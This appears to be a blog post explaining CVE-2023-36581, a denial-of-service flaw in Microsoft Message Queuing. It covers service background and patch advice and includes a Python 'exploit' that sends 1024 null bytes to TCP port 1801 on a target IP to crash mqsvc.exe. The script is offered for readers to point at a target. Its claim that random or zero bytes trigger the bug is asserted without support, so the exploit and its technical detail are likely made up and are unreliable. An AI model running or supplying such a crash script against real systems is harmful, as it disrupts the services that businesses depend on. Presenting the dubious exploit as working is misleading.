CVE-2023-36581 - Microsoft Message Queuing Denial of Service Vulnerability Explained (with Exploit Example)

In October 2023, Microsoft patched a serious vulnerability in Microsoft Message Queuing (MSMQ), tracked as CVE-2023-36581. This bug allows an attacker to cause a denial of service (DoS) on a Windows system that has MSMQ enabled. In this post, we’ll break down what MSMQ is, how the vulnerability works, and provide a simple exploit example so you can better understand the danger.

What Is Microsoft Message Queuing (MSMQ)?

MSMQ is a service on Windows used for passing messages between applications, even across different computers and networks. It helps apps communicate reliably, even when some systems are offline.

MSMQ is not enabled by default on most Windows installations, but is often used in enterprise environments where applications require robust communication.

What’s the Risk With CVE-2023-36581?

When MSMQ is enabled, unauthenticated attackers on the network can send special data to the Message Queuing service, crashing it. This causes any dependent applications to stop working until the service restarts.

How Does The Vulnerability Work?

The MSMQ service listens by default on TCP port 1801. The issue is triggered by sending invalid or malformed data to the port. The service can’t handle it and crashes. No authentication or valid session is required!

Run this command in PowerShell

Get-WindowsFeature -Name MSMQ*

If MSMQ-Server is installed, your machine is vulnerable if not patched.

Proof-of-Concept: Crashing MSMQ with Python

Here’s a basic exploit that will crash the MSMQ service by sending random junk data to TCP port 1801. Don’t use this on systems you don’t own!

import socket

TARGET = '10.10.10.10'  # Replace with target IP
PORT = 1801

# Craft a payload. The bug is in the parsing, so even random data may trigger it
payload = b'\x00' * 1024

print(f'Sending exploit to {TARGET}:{PORT} ...')

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((TARGET, PORT))
    s.sendall(payload)

print('Payload sent. MSMQ service may be down!')

*Note: Replace "10.10.10.10" with the target server IP that's running MSMQ.*

What Happens:
After sending this data, MSMQ’s service (mqsvc.exe) may crash, causing related apps to lose messaging capability until the service is restarted, or until the system is patched.

Mitigation and Patch

Microsoft has released an official patch for this vulnerability. Install the update immediately if you use MSMQ.
Patch Reference:
- Microsoft Security Update Guide: CVE-2023-36581

Original References

- Microsoft Security Guide: CVE-2023-36581
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2023-36581
- Zeroday Initiative advisory: https://www.zerodayinitiative.com/advisories/ZDI-23-1518/

Conclusion

CVE-2023-36581 is a high-severity MSMQ vulnerability allowing anyone on the network to bring down the MSMQ service, disrupting business applications. If you use MSMQ, patch your systems ASAP, lock down unnecessary network access, and monitor your services for suspicious crashes.

Stay safe and keep your systems updated!

*This post is for educational purposes only. Don't use this information to target unauthorized systems.*

Timeline

Published on: 10/10/2023 18:15:14 UTC
Last modified on: 10/13/2023 19:14:45 UTC